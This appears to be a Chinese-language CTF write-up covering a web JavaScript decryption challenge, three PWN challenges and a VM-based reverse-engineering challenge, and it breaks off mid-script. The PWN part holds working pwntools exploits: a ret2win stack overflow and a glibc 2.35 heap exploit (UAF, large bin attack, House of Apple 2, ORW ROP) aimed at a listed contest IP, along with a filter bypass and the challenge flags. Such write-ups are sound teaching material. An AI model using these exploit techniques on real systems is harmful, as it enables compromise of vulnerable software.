            'lXWlM': function (_0x4e6398, _0x453d46) {
                return _0x4e6398 + _0x453d46;
            },
            'hfHMv': function (_0x13c51c, _0x801178) {
                return _0x13c51c + _0x801178;
            }
        };
    _0x533c6 = _0x533c6[_0xd5d818(0x162)](_0x4400e6 => _0x4400e6 !== 0x1ed5 + 0x16f2 + -0x35c7);
    for (let _0x4e5073 = -0x19be + -0x1 * 0x1f49 + 0x3907; _0x8cd5f0[_0xd5d818(0x13c)](_0x4e5073, _0x8cd5f0[_0xd5d818(0x18b)](_0x533c6[_0xd5d818(0x169)], -0x1a6c + -0x1 * 0x2dd + 0x2e * 0xa3)); _0x4e5073++) {
        _0x8cd5f0[_0xd5d818(0x153)](_0x533c6[_0x4e5073], _0x533c6[_0x8cd5f0[_0xd5d818(0x19b)](_0x4e5073, -0x2b * 0x52 + 0x25 * 0xe3 + -0x1308)]) && (_0x533c6[_0x4e5073] *= -0x6e7 * 0x5 + 0x2c7 + -0x11 * -0x1de, score += _0x533c6[_0x4e5073], _0x533c6[_0x8cd5f0[_0xd5d818(0x179)](_0x4e5073, -0x22b9 * -0x1 + -0x2528 + -0x27 * -0x10)] = -0x7c7 + 0x19d3 + -0x3 * 0x604);
    }
    return _0x533c6[_0xd5d818(0x162)](_0x504624 => _0x504624 !== 0x575 * 0x1 + -0xd * 0x77 + 0x96);
}
function moveLeft() {
    const _0x11a36e = _0x12b773, _0x42279d = {
            'kGipA': function (_0x51a9cf, _0x4eb384) {
                return _0x51a9cf < _0x4eb384;
            },
            'IUAly': function (_0x813b32, _0x33214f) {
                return _0x813b32(_0x33214f);
            },
            'pxyyc': function (_0x409f19, _0x1407e7) {
                return _0x409f19 < _0x1407e7;
            },
            'dUMqa': function (_0x1da587, _0x5cf9c3) {
                return _0x1da587 !== _0x5cf9c3;
            }
        };
    let _0x60955b = ![];
    for (let _0x68d9e9 = 0x2135 + -0x13d4 + 0x1 * -0xd61; _0x42279d[_0x11a36e(0x1ab)](_0x68d9e9, boardSize); _0x68d9e9++) {
        let _0x3c1aab = _0x42279d[_0x11a36e(0x146)](slide, board[_0x68d9e9]);
        while (_0x42279d[_0x11a36e(0x1b4)](_0x3c1aab[_0x11a36e(0x169)], boardSize))
            _0x3c1aab[_0x11a36e(0x19e)](-0x533 * -0x2 + 0x11 * 0x173 + -0x2309 * 0x1);
        if (_0x42279d[_0x11a36e(0x1b0)](_0x3c1aab[_0x11a36e(0x18c)](), board[_0x68d9e9][_0x11a36e(0x18c)]()))
            _0x60955b = !![];
        board[_0x68d9e9] = _0x3c1aab;
    }
    return _0x60955b;
}
function moveRight() {
    const _0x595621 = _0x12b773, _0x26459d = {
            'aSWkY': function (_0x2c2b1a, _0x4c2403) {
                return _0x2c2b1a < _0x4c2403;
            },
            'ldfKO': function (_0x534a31, _0x557632) {
                return _0x534a31(_0x557632);
            },
            'vdISq': function (_0x543286, _0x3b34c9) {
                return _0x543286 !== _0x3b34c9;
            }
        };
    let _0x2ce3d2 = ![];
    for (let _0x373e16 = -0x7b1 * 0x3 + -0x4f2 * 0x1 + 0x1c05; _0x26459d[_0x595621(0x140)](_0x373e16, boardSize); _0x373e16++) {
        let _0x481aa1 = _0x26459d[_0x595621(0x1ad)](slide, board[_0x373e16][_0x595621(0x166)]()[_0x595621(0x141)]());
        while (_0x26459d[_0x595621(0x140)](_0x481aa1[_0x595621(0x169)], boardSize))
            _0x481aa1[_0x595621(0x19e)](0xf71 + 0x1 * 0x2260 + 0x9 * -0x589);
        _0x481aa1[_0x595621(0x141)]();
        if (_0x26459d[_0x595621(0x198)](_0x481aa1[_0x595621(0x18c)](), board[_0x373e16][_0x595621(0x18c)]()))
            _0x2ce3d2 = !![];
        board[_0x373e16] = _0x481aa1;
    }
    return _0x2ce3d2;
}
function moveUp() {
    const _0x41984e = _0x12b773, _0xf41e98 = {
            'JbIaZ': function (_0x176216, _0x3aad76) {
                return _0x176216 < _0x3aad76;
            },
            'ZQkWp': function (_0x3952d4, _0x3bb68b) {
                return _0x3952d4(_0x3bb68b);
            },
            'BJbHp': function (_0x56d51f, _0x532693) {
                return _0x56d51f !== _0x532693;
            }
        };
    let _0x1a22c4 = ![];
    for (let _0x317392 = 0x224 * -0xe + -0xf01 + 0x2cf9; _0xf41e98[_0x41984e(0x142)](_0x317392, boardSize); _0x317392++) {
        let _0x60211f = [];
        for (let _0x46c1ad = 0x85 * -0xd + 0x1efa + 0x9f * -0x27; _0xf41e98[_0x41984e(0x142)](_0x46c1ad, boardSize); _0x46c1ad++)
            _0x60211f[_0x41984e(0x19e)](board[_0x46c1ad][_0x317392]);
        let _0x2d118f = _0xf41e98[_0x41984e(0x143)](slide, _0x60211f);
        while (_0xf41e98[_0x41984e(0x142)](_0x2d118f[_0x41984e(0x169)], boardSize))
            _0x2d118f[_0x41984e(0x19e)](-0xb48 + -0x15 * 0xb1 + 0x19cd);
        for (let _0x2bfa62 = 0xf55 + 0x2013 + -0x2f68; _0xf41e98[_0x41984e(0x142)](_0x2bfa62, boardSize); _0x2bfa62++) {
            if (_0xf41e98[_0x41984e(0x148)](board[_0x2bfa62][_0x317392], _0x2d118f[_0x2bfa62]))
                _0x1a22c4 = !![];
            board[_0x2bfa62][_0x317392] = _0x2d118f[_0x2bfa62];
        }
    }
    return _0x1a22c4;
}
function moveDown() {
    const _0x921ce2 = _0x12b773, _0x5919c5 = {
            'etMuD': function (_0x5e6282, _0x1ad685) {
                return _0x5e6282 < _0x1ad685;
            },
            'fRdtr': function (_0x26fd75, _0x5775ca) {
                return _0x26fd75 < _0x5775ca;
            },
            'uLlOl': function (_0x2c92ae, _0x3952da) {
                return _0x2c92ae(_0x3952da);
            },
            'MezQA': function (_0x56e48c, _0x41c1ae) {
                return _0x56e48c < _0x41c1ae;
            },
            'uAtTE': function (_0x554c9d, _0x12d13a) {
                return _0x554c9d < _0x12d13a;
            },
            'gwMvz': function (_0xcc338c, _0x2b02e1) {
                return _0xcc338c !== _0x2b02e1;
            }
        };
    let _0x2f7b32 = ![];
    for (let _0xf2d58d = -0x1059 + 0xa8b * -0x2 + -0x559 * -0x7; _0x5919c5[_0x921ce2(0x1ac)](_0xf2d58d, boardSize); _0xf2d58d++) {
        let _0x43d740 = [];
        for (let _0x48913f = 0xae8 + -0xd * 0x11f + 0x1 * 0x3ab; _0x5919c5[_0x921ce2(0x17a)](_0x48913f, boardSize); _0x48913f++)
            _0x43d740[_0x921ce2(0x19e)](board[_0x48913f][_0xf2d58d]);
        let _0x185add = _0x5919c5[_0x921ce2(0x191)](slide, _0x43d740[_0x921ce2(0x141)]());
        while (_0x5919c5[_0x921ce2(0x186)](_0x185add[_0x921ce2(0x169)], boardSize))
            _0x185add[_0x921ce2(0x19e)](-0x3 * -0x2cc + 0x1091 + -0x18f5);
        _0x185add[_0x921ce2(0x141)]();
        for (let _0x4c2d35 = -0x892 * 0x3 + -0xe6d + 0x89 * 0x4b; _0x5919c5[_0x921ce2(0x144)](_0x4c2d35, boardSize); _0x4c2d35++) {
            if (_0x5919c5[_0x921ce2(0x17f)](board[_0x4c2d35][_0xf2d58d], _0x185add[_0x4c2d35]))
                _0x2f7b32 = !![];
            board[_0x4c2d35][_0xf2d58d] = _0x185add[_0x4c2d35];
        }
    }
    return _0x2f7b32;
}
document[_0x12b773(0x1a8) + _0x12b773(0x171)](_0x12b773(0x188), _0x4dc04a => {
    const _0x1aec36 = _0x12b773, _0x33649c = {
            'Bsfxd': _0x1aec36(0x15b),
            'apuCF': function (_0x5e0c4d) {
                return _0x5e0c4d();
            },
            'ZoPTx': _0x1aec36(0x15a),
            'SPfwt': _0x1aec36(0x1a1),
            'UGMlQ': function (_0x326db1) {
                return _0x326db1();
            },
            'QYEPb': _0x1aec36(0x16b),
            'vBqgI': function (_0x5453b5) {
                return _0x5453b5();
            },
            'iKiJP': function (_0x1327de) {
                return _0x1327de();
            },
            'aQvek': function (_0x5cff0e) {
                return _0x5cff0e();
            }
        };
    let _0x4fc09c = ![];
    switch (_0x4dc04a[_0x1aec36(0x168)]) {
    case _0x33649c[_0x1aec36(0x16f)]:
        _0x4fc09c = _0x33649c[_0x1aec36(0x19c)](moveLeft);
        break;
    case _0x33649c[_0x1aec36(0x1a7)]:
        _0x4fc09c = _0x33649c[_0x1aec36(0x19c)](moveRight);
        break;
    case _0x33649c[_0x1aec36(0x16d)]:
        _0x4fc09c = _0x33649c[_0x1aec36(0x152)](moveUp);
        break;
    case _0x33649c[_0x1aec36(0x187)]:
        _0x4fc09c = _0x33649c[_0x1aec36(0x152)](moveDown);
        break;
    }
    _0x4fc09c && (_0x33649c[_0x1aec36(0x16a)](addRandomTile), _0x33649c[_0x1aec36(0x1aa)](render), _0x33649c[_0x1aec36(0x145)](check));
}), init();

关键逻辑代码

const key=CryptoJS[_0x12b773(0x15f)][_0x12b773(0x15c)][_0x12b773(0x13e)](_0x12b773(0x173)+ _0x12b773(0x1b2))

1267c0a3849d5bef

iv = CryptoJS[_0x12b773(0x15f)][_0x12b773(0x15c)][_0x12b773(0x13e)](_0x12b773(0x13d) + _0x12b773(0x14e))
af16d2be89745c30

let _0x58ef84 = window[_0x155749(0x147)][_0x155749(0x190)] + (_0x155749(0x159) + _0x155749(0x18f));
/u0cNTzvI5QprXH.php

console带着密钥访问php文件即可

const key = CryptoJS.enc.Utf8.parse('1267c0a3849d5bef');
const iv = CryptoJS.enc.Utf8.parse('af16d2be89745c30');

(async () => {
  const response = await fetch('/u0cNTzvI5QprXH.php');
  const ct = await response.text();
  const pt = CryptoJS.AES.decrypt(ct.trim(), key, {
    iv: iv,
    mode: CryptoJS.mode.CBC,
    padding: CryptoJS.pad.Pkcs7
  }).toString(CryptoJS.enc.Utf8);
  console.log(pt);
  alert(pt);
})();
flag{0fe3a394-9e79-4357-84ce-5cba3def02ac}

PWN

shell

无附件，nc连接

可执行的命令如下

直接读取flag 发现存在waf

sanjiu@localhost:~$ nc 101.200.152.81 37214
BabyJail (type 'help')
$ echo flag
echo flag
Filtered :)
$ cat flag
cat flag
Filtered :)
$ echo *
echo *
*
sanjiu@localhost:~$ nc 101.200.152.81 37214
BabyJail (type 'help')
$ help
help
Builtins: help, echo, pwd, whoami, id, ls, cat, exit
$ ls
sanjiu@localhost:~$
sanjiu@localhost:~$
sanjiu@localhost:~$
sanjiu@localhost:~$ nc 101.200.152.81 37214
BabyJail (type 'help')
$ ls
ls
Filtered :)
$ pwd
pwd
/home/ctf
$ echo 1
echo 1
1
$ cat 1
cat 1
Filtered :)
$ id
id
uid=1000(ctf) gid=1000(ctf) groups=1000(ctf)
$ echo flag
echo flag
Filtered :)
$ echo *
echo *
*
$ cat flag
cat flag
Filtered :)
$
sanjiu@localhost:~$
sanjiu@localhost:~$
sanjiu@localhost:~$ nc 101.200.152.81 37214
BabyJail (type 'help')
$ echo flag
echo flag
Filtered :)
$ cat flag
cat flag
Filtered :)
$ echo *
echo *
*
$
sanjiu@localhost:~$ nc 101.200.152.81 37214
BabyJail (type 'help')
$ cat flag
cat flag
flag{89a5017f-1693-4f32-bb9c-35dcf9b98d34}
$

字符串转义绕过

flag{89a5017f-1693-4f32-bb9c-35dcf9b98d34}

signin

漏洞：栈溢出

难点:需要寻找跳板函数获取flag

IDA 分析

漏洞函数

输入数据远超栈空间，可以覆盖栈上的 Saved RBP 和 Return Address，从而劫持程序控制流

需要填入垃圾数据的量为

0x40+0x08 = 72

直接跳转到 win 可能会因为栈不对齐而失败

跳板函数地址

win 地址

exp

from pwn import *

context.arch = "amd64"
context.log_level = "info"
conn = remote("101.200.152.81", 39375)

OFFSET = 72
WIN = 0x4011e7
RET = 0x401016

payload = b"A"*OFFSET + p64(RET) + p64(WIN)
conn.sendlineafter(b"Say something to sign in:", payload)
conn.interactive()
flag{afc30cda-442b-4122-a8eb-7610513dc47e}

不打CTF或许她还在

本题环境为 Ubuntu 22.04 (glibc 2.35)。程序存在 UAF 漏洞，允许在 chunk free 后继续编辑。 利用思路如下

信息泄露：利用 Large Bin 的 fd_nextsize 等指针特性泄露 libc_base 和 heap_base。

攻击原语：使用 Large Bin Attack 向 _IO_list_all 写入堆地址，劫持 _IO_list_all 链表。

控制流劫持：构造伪造的 _IO_FILE 结构体 (House of Apple 2)，利用 _IO_wfile_overflow 路径配合 magic_gadget 劫持执行流。

ROP：执行 ORW (Open-Read-Write) 获取 flag

from pwn import *
from ctypes import *
from LibcSearcher import *
from ae64 import AE64

context(os='linux', arch='amd64', log_level='debug')

# ================= Wrapper Functions =================
def s(a):
    io.send(a)

def sa(a, b):
    io.sendafter(a, b)

def sl(a):
    io.sendline(a)

def sla(a, b):
    io.sendlineafter(a, b)

def r(a):
    return io.recv(a)

def ru(a):
    return io.recvuntil(a)

def inter():
    io.interactive()

def debug():
    gdb.attach(io)
    pause()

def get_addr():
    return u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))

# ================= IO Setup =================
# io = remote("101.200.152.81", 34459)
io = process('./pwn')
elf = ELF('./pwn')
libc = ELF("./libc.so.6")

# ================= Heap Operations =================
def add(index, size):
    sla("choice:\n", str(1))
    sla("go on a date: \n", str(index))
    sla("spend with her: \n", str(size))

def free(index):
    sla("choice:\n", str(2))
    sla("participate in the CTF: \n", str(index))

def edit(index, size, data):
    sla("choice:\n", str(3))
    sla("schedule the date for: \n", str(index))
    sa("are your plans for the date: \n", data)

def show(index):
    sla("choice:\n", str(4))
    sla("the date details for: \n", str(index))

# ==========================================================
# [Step 1] Heap Layout & Libc Leak
# ==========================================================
# 布局 chunk，利用 Large Bin 范围 (需 > 0x408)
add(0, 0x430)  # 后续作为 Large Bin Attack 的发起者 (放入 unsorted bin)
add(1, 0x410)  # 隔离 chunk，防止合并
add(2, 0x440)  # Large Bin Attack 的目标 chunk (用来伪造 _IO_FILE)
add(3, 0x410)  # 隔离 chunk

# 释放 chunk2 进入 Unsorted Bin (因两边有隔离，不会合并)
free(2)
show(2)  # 此时 fd/bk 指向 main_arena，泄露 libc 地址

libc_base   = get_addr() - 0x219ce0 - 0x1000
pop_rax     = libc_base + 0x45eb0
pop_rdi     = libc_base + 0x2a3e5
pop_rsi     = libc_base + 0x2be51
pop_rdx_r12 = libc_base + 0x11f2e7
open_addr   = libc_base + libc.sym['open']
read_addr   = libc_base + libc.sym['read']
write_addr  = libc_base + libc.sym['write']
puts_addr   = libc_base + libc.sym['puts']
leave_ret   = libc_base + 0x4da83

# Magic Gadget for House of Apple 2 (glibc 2.35)
# Gadget: mov rdx, [rdi+0xa0]; call [rdx+0x20]
gadget_addr = libc_base + 0x16A06A
# 2.35 gadget_addr = libc_base + 0x16a050 + 26

IO_list_all = libc_base + libc.sym["_IO_list_all"]
wfile       = libc_base + libc.sym['_IO_wfile_jumps']

success("libc_base: "   + hex(libc_base))
success("IO_list_all: " + hex(IO_list_all))
success("gadget_addr: " + hex(gadget_addr))

# ==========================================================
# [Step 2] Heap Addr Leak
# ==========================================================
add(4, 0x450)  # 申请比 chunk2 更大的块，迫使 chunk2 从 Unsorted Bin 整理入 Large Bin

# 编辑 chunk2，覆盖 fd (前0x10字节)，利用 show 输出 bk/fd_nextsize 泄露堆地址
edit(2, 0x10, b'a' * 0x10)
show(2)
ru(b'a' * 0x10)
heap_base = u64(io.recv(6).ljust(8, b'\x00')) - 0xaf0  # 计算堆基址
success("heap_base: " + hex(heap_base))

# ==========================================================
# [Step 3] Large Bin Attack (Target: _IO_list_all)
# ==========================================================
free(0)  # 释放 chunk0 进入 Unsorted Bin

# 修改 Large Bin 中 chunk2 的 bk_nextsize 为 target_addr - 0x20
# 攻击原理：当 Unsorted Bin 中的 chunk0 被整理入 Large Bin 时，
# 会执行 victim->bk_nextsize->fd_nextsize = victim
edit(2, 0x20, p64(0) * 3 + p64(IO_list_all - 0x20))

add(5, 0x450)
# 触发 Large Bin 整理机制：chunk0 从 Unsorted Bin 移入 Large Bin，
# 触发解链操作，将 _IO_list_all 覆盖为堆地址 (指向 chunk2)

add(0, 0x430)
# 重新申请回 chunk0，用于后续存放 ORW ROP 链

# 修复 Large Bin 结构 (Recover Large Bin)
# 手动修复 chunk2 的 fd, bk, fd_nextsize, bk_nextsize，防止后续 malloc 崩溃
edit(2, 0x20, p64(libc_base + 0x21b0e0) * 2 + p64(heap_base + 0xaf0) * 2)
add(2, 0x440)  # 重新申请回 chunk2，准备写入伪造的 FILE 结构

orw_addr     = heap_base + 0x2a0    # chunk0 的用户数据地址 (存放 ROP)
fake_io_addr = heap_base + 0xaf0    # chunk2 的地址 (伪造的 _IO_FILE)


# ==========================================================
# [Step 4] House of Apple 2 (Fake _IO_FILE)
# ==========================================================
# 构造满足 _IO_wfile_overflow 利用路径的结构体
fake_IO_FILE  = p64(0)
fake_IO_FILE += p64(leave_ret)             # +0x08: 填充 leave_ret
fake_IO_FILE += p64(0)
fake_IO_FILE += p64(0xffffffffffffffff)    # +0x20: _IO_write_ptr > _IO_write_base (绕过检查)
fake_IO_FILE += p64(0) * 2
fake_IO_FILE += p64(0)
fake_IO_FILE += p64(orw_addr)              # +0x48: _chain (作为 rdi 传入 gadget，指向 ROP 位置)
fake_IO_FILE += p64(0) * 4
fake_IO_FILE += p64(0) * 3
fake_IO_FILE += p64(heap_base + 0x6c0)     # +0x88: _lock (指向任意可写内存，例如 chunk1)
fake_IO_FILE += p64(0) * 2
fake_IO_FILE += p64(fake_io_addr + 0xe0)   # +0xa0: _wide_data (rax = [rdi+0xa0]) -> 指向 A
fake_IO_FILE += p64(0)
fake_IO_FILE += p64(0) * 4
fake_IO_FILE += p64(0)
fake_IO_FILE += p64(wfile)                 # +0xd8: vtable (指向 _IO_wfile_jumps)
fake_IO_FILE += p64(0) * 0x1c
fake_IO_FILE += p64(fake_io_addr + 0xe0 + 0xe8) # +0xe0 (A): rax 指向此处，内容为 B 的地址
fake_IO_FILE += p64(0) * 0xd
fake_IO_FILE += p64(gadget_addr)           # +0xe0+0xe8+0x20 (B+0x20): 存放 Magic Gadget 地址

edit(2, len(fake_IO_FILE), fake_IO_FILE)

# ==========================================================
# [Step 5] ORW ROP Chain
# ==========================================================
# 存放在 chunk0 中，Magic Gadget 会跳转到这里执行
orw  = b'./flag\x00\x00'
orw += p64(pop_rdx_r12) + p64(0) + p64(fake_io_addr - 0x10)  # 栈平衡填充
orw += p64(pop_rdi) + p64(orw_addr)
orw += p64(pop_rsi) + p64(0)
orw += p64(open_addr)          # open('./flag', 0)

orw += p64(pop_rdi) + p64(3)
orw += p64(pop_rsi) + p64(orw_addr + 0x100)
orw += p64(pop_rdx_r12) + p64(0x50) + p64(0)
orw += p64(read_addr)          # read(3, buffer, 0x50)

orw += p64(pop_rdi) + p64(orw_addr + 0x100)
orw += p64(puts_addr)          # puts(buffer)

edit(0, len(orw), orw)

# debug()
# ==========================================================
# [Step 6] Trigger Exploit
# ==========================================================
sla("choice:\n", str(5))  # exit() -> _IO_flush_all_lockp -> 触发劫持的 _IO_list_all

io.interactive()

py3脚本呈现

flag{ffa271dc-77aa-4191-9704-e7843badd92c}

Reverse

lowre

拿到题目进行查壳，发现没有加壳和加密

进行ida查看

发现main函数，分析发现逻辑加密

这里最多读入256的字节

经代码分析，derive_vm_seed()也是注意要的函数加密，check_len_alt_impl和check_len_impl要求79字节，run_and_verify_impl是vm的核心

进函数继续分析

里面是查看比较积累的变量值是否固定

分析rum_vm_inner函数，发现这里是混淆的虚拟机

进行run_ir函数分析

寄存器类型说明
v6unsigned int索引寄存器（16位有效），用于访问输入/常量数组
v7unsigned char工作寄存器1（输入数据相关）
v8__int16循环计数器（用于控制循环）
v9char工作寄存器2（常量数据相关）
*a6_DWORD*外部累加器（存储最终校验值）

0x01-初始化vm状态，一般程序开始时使用

0x10-从输入加载道R1

0x11-常量加载到R3

0x20-R1异或立即数

0x30-复杂加法

0x40-更新累加器

跳转指令

0x61-递减技术器

0x70-条件跳转

比较指令

0x50-核心校验点

0x60-增加索引

0xFF-成功结束

执行核心操作：r11 = input[i] ^ 0xAA 与 r12 = flag_buf[i]

发现这里是vm的具体逻辑

seed逻辑在

这是计算逻辑利用 IR 指令流与 rc4_blob、seg_rk_0 滚动计算

计算结果：得到的 seed（0xFDCB535D）

构造还原

发现函数里面有内存初始化（79字节）

三阶段，密钥，变异 RC4 解密：

KSA：注意 S 盒交换逻辑修改为 S[v7] = v7 ^ tmp。

PRGA：步长为 3，生成的密钥流与索引 i及 S 盒输出异或，末尾混淆变化

flag还原，全体成员异或 0xAA

import struct
from typing import List, Callable, ByteString

PROGRAM_METADATA = [0x5A, 0xDB, 0xDA, 0xD5, 0xA5, 0xDB, 0x5B, 0x2A, 0xD8, 0x3B, 0xDB, 0x3A, 0xDB, 0x0A, 0xDB, 0x1A, 0xDB, 0x6A, 0xDB, 0xDA, 0xF0, 0x7A, 0xD8, 0x4B, 0xDB, 0x4A, 0xDB, 0xDA, 0x5B, 0xDB, 0xDA]
SEGMENT_KEY = [0x7A, 0x9C, 0x23, 0x51, 0xB4, 0x6F, 0xD8, 0x02, 0x39, 0xE1, 0x47, 0xAC, 0x15, 0x8B, 0xD2, 0x60]
ENTROPY_POOL = [0xF3, 0x8A, 0x21, 0xC4, 0x5B, 0x19, 0x7E, 0xD2, 0x34, 0x8F, 0xA1, 0x6C, 0x92, 0x0D, 0x73, 0xE8, 0x1A, 0xB5, 0x4C, 0xF7, 0x2E, 0x89, 0xD0, 0x3B, 0x65, 0x9C, 0x07, 0xFA, 0x41, 0xAE, 0x18, 0xD3]
AUTH_KEY_BASE = [0x13, 0x57, 0x9B, 0xDF, 0x20, 0x46, 0x8A, 0xCE]

VECTOR_P1 = [0x34, 0x64, 0xD7, 0x21, 0x99, 0x30, 0x04, 0x5B, 0xF7, 0xB8, 0x0B, 0x5B, 0x3F, 0xCE, 0x3C, 0x0F]
VECTOR_P2 = [0x76, 0x25, 0x4A, 0xEB, 0x9D, 0xEA, 0xD8, 0x50, 0xD6, 0xC2, 0x11, 0x21, 0x8A, 0xCB, 0x08, 0x9D]
VECTOR_P3 = [0x4B, 0x00, 0x7E, 0xBB, 0x36, 0xBF, 0x7D, 0xCB, 0xA2, 0x5A, 0x66, 0x2F, 0x6B, 0x7C, 0x36, 0xC0]
VECTOR_P4 = [0xF5, 0x32, 0x5F, 0x79, 0xA0, 0x7F, 0x0C, 0x4A, 0xC4, 0x10, 0x72, 0x61, 0x75, 0x7E, 0x42, 0x21]

MAX_META_PTR = 0x1E
MAX_COUNT = 0x20
MAX_IR_LIMIT = 32
WORKSPACE_SIZE = 79
SEGMENT_KEY_MASK = 0xF
ENTROPY_POOL_MASK = 0x1F
ROTATE_SHIFT = 7
INITIAL_STATE = 826366246
INITIAL_RK_VAL = 122
INITIAL_MASK_BYTE = (-13) & 0xFF
OFFSET_INCREMENT = 13
XOR_VALUE = 0x5A
FINAL_XOR_VALUE = 0xAA

BYTE_SHIFT = 8
HALF_BYTE_SHIFT = 4
FULL_BYTE_MASK = 0xFF
DWORD_MASK = 0xFFFFFFFF

XOR_VALUES = [0x11, 0x22, 0x33]
XOR_RANGES = [(0, 5), (5, 51), (51, 79)]

def bit_rol(value: int, shift: int) -> int:
    return ((value << shift) & DWORD_MASK) | (value >> (32 - shift))

def extract_opcodes(raw_meta: List[int]) -> List[int]:
    opcode_stream = []
    ptr = 0
    count = 0

    while True:
        if ptr > MAX_META_PTR or count == MAX_COUNT:
            break

        tag = raw_meta[ptr]

        if tag == 0x82:
            if ptr + 2 > MAX_META_PTR or count == 0x1F:
                break
            opcode_stream.extend(raw_meta[ptr + 1 : ptr + 3])
            count += 2
            ptr += 3
        elif tag > 0x82:
            break
        elif tag == 0x80:
            ptr += 1
        elif tag == 0x81:
            if ptr + 1 == 0x1F:
                break
            opcode_stream.append(raw_meta[ptr + 1])
            count += 1
            ptr += 2
        else:
            break

    return opcode_stream

def parse_to_ir(opcodes: List[int]) -> List[int]:
    if not opcodes:
        return []

    ir_list = []
    current_op = opcodes[0]
    idx = 1
    jump_ptr = 0
    limit = 0

    while limit < MAX_IR_LIMIT:
        ir_list.extend([current_op, 0, 0])
        limit += 1

        if current_op in (32, 112):
            if idx >= len(opcodes):
                break

            jump_ptr += 2
            current_op = opcodes[idx]
            ir_list[-2] = current_op
            ir_list[-1] = 1
            if jump_ptr >= len(opcodes):
                break
        else:
            jump_ptr = idx

        if idx >= len(opcodes):
            break

        idx = jump_ptr + 1
        current_op = opcodes[jump_ptr]

    return ir_list

def generate_context_seed(ir_blocks: List[int]) -> int:
    state = INITIAL_STATE
    offset = 0
    rk_val = INITIAL_RK_VAL
    mask_byte = INITIAL_MASK_BYTE
    step_count = 0
    blob_ptr = 1
    block_count = len(ir_blocks) // 3

    for i in range(block_count):
        cmd, param, flag = ir_blocks[i*3 : i*3+3]

        term = step_count ^ cmd
        if flag:
            term ^= param

        step_count += 1
        state = bit_rol(
            (state ^ (257 * ((term ^ rk_val ^ mask_byte) & FULL_BYTE_MASK) + offset)) & DWORD_MASK,
            ROTATE_SHIFT
        )
        offset += OFFSET_INCREMENT

        if step_count == block_count:
            break

        mask_byte = ENTROPY_POOL[blob_ptr] if blob_ptr < len(ENTROPY_POOL) else mask_byte
        blob_ptr += 1
        rk_val = SEGMENT_KEY[step_count & SEGMENT_KEY_MASK]

    return state & DWORD_MASK

def derive_session_key(length: int) -> bytes:
    buffer = []
    base_val = 12
    accumulator = length
    counter = 0
    p1 = 42
    p2 = 19
    fix_val = length

    while counter < 8:
        m1 = 31 * (length // 31)
        m2 = length
        length += 3

        mix = accumulator ^ PROGRAM_METADATA[m2 - m1]
        accumulator += fix_val

        buffer.append((p1 ^ p2 ^ mix) & FULL_BYTE_MASK)
        counter += 1

        if counter < 8:
            p2 = AUTH_KEY_BASE[counter]
            idx_val = 31 * (base_val // 31)
            save_val = base_val
            base_val += 5
            p1 = PROGRAM_METADATA[save_val - idx_val]

    return bytes(buffer)

def custom_shuffle_cipher(payload: ByteString, key: bytes) -> bytes:
    payload = bytearray(payload)
    s_box = list(range(256))
    j = 0

    for i in range(256):
        j = (j + s_box[i] + key[i & 7]) & FULL_BYTE_MASK
        old_i = s_box[i]
        s_box[i] = s_box[j]
        s_box[j] = j ^ old_i

    x = y = 0
    pos = 0
    payload_len = len(payload)

    while pos < payload_len:
        x = (x + 3) & FULL_BYTE_MASK
        val_x = s_box[x]
        y = (y + val_x + 1) & FULL_BYTE_MASK

        s_box[x], s_box[y] = s_box[y], s_box[x]

        secret = s_box[(s_box[x] + val_x) & FULL_BYTE_MASK]
        payload[pos] ^= pos ^ secret
        pos += 1

    return bytes(payload)

def transform_layer_alpha(data: bytearray, seed: int) -> None:
    v_a = seed >> HALF_BYTE_SHIFT
    v_b = seed & 0xF

    for i in range(WORKSPACE_SIZE):
        data[i] ^= (SEGMENT_KEY[v_a & SEGMENT_KEY_MASK] ^ 
                   ENTROPY_POOL[v_b & ENTROPY_POOL_MASK] ^ 
                   ((seed >> (i & 7)) & FULL_BYTE_MASK))
        v_b = (v_b + 3) & DWORD_MASK
        v_a = (v_a + 5) & DWORD_MASK

def transform_layer_beta(data: bytearray, seed: int) -> None:
    v_a = seed >> 9
    v_b = seed >> 3
    cycle = 0

    for i in range(WORKSPACE_SIZE):
        data[i] ^= (((seed >> (cycle & 7)) & FULL_BYTE_MASK) ^ 
                   ((ENTROPY_POOL[v_a & ENTROPY_POOL_MASK] + 
                     SEGMENT_KEY[v_b & SEGMENT_KEY_MASK]) & FULL_BYTE_MASK))
        v_a = (v_a + 7) & DWORD_MASK
        v_b = (v_b + 11) & DWORD_MASK
        cycle += 3

        if cycle == 237:
            break

def transform_layer_gamma(data: bytearray, seed: int) -> None:
    v_a = seed >> HALF_BYTE_SHIFT
    v_b = seed & 0xF
    v_c = seed >> 9
    v_d = seed >> 3

    for i in range(WORKSPACE_SIZE):
        tmp = (ENTROPY_POOL[v_b & ENTROPY_POOL_MASK] ^ 
               ((seed >> (i & 7)) & FULL_BYTE_MASK)) & FULL_BYTE_MASK
        tmp = (SEGMENT_KEY[v_a & SEGMENT_KEY_MASK] ^ data[i] ^ tmp) & FULL_BYTE_MASK

        mix = (ENTROPY_POOL[v_c & ENTROPY_POOL_MASK] + 
               SEGMENT_KEY[v_d & SEGMENT_KEY_MASK]) & FULL_BYTE_MASK
        tmp ^= mix

        data[i] = ((seed >> ((3 * i) & 7)) ^ tmp) & FULL_BYTE_MASK

        v_b = (v_b + 3) & DWORD_MASK
        v_a = (v_a + 5) & DWORD_MASK
        v_c = (v_c + 7) & DWORD_MASK
        v_d = (v_d + 11) & DWORD_MASK

def initialize_workspace() -> bytearray:
    workspace = bytearray(WORKSPACE_SIZE)

    workspace[0:16] = bytes(VECTOR_P1)
    workspace[16:32] = bytes(VECTOR_P2)
    workspace[32:48] = bytes(VECTOR_P3)
    workspace[48:64] = bytes(VECTOR_P4)

    workspace[64:72] = (0x7F9E9295CE4E4791).to_bytes(8, 'little')
    workspace[72:76] = (0x70E8CBC7).to_bytes(4, 'little')
    workspace[76:78] = (0xC51F).to_bytes(2, 'little')
    workspace[78] = 0x61

    return workspace

def reconstruct_flag() -> bytes:
    meta_src = [((-38) & FULL_BYTE_MASK) ^ XOR_VALUE] 
    meta_src.extend([b ^ XOR_VALUE for b in reversed(PROGRAM_METADATA[:-1])])

    instr_set = extract_opcodes(meta_src)
    ir_structure = parse_to_ir(instr_set)
    vm_seed = generate_context_seed(ir_structure)

    workspace = initialize_workspace()

    execution_order = ((vm_seed ^ 0x4F) & 3) % 3
    transform_layers: List[Callable[[bytearray, int], None]] = [
        transform_layer_alpha,
        transform_layer_beta,
        transform_layer_gamma
    ]

    for i in range(3):
        target_idx = (execution_order + i) % 3
        transform_layers[target_idx](workspace, vm_seed)

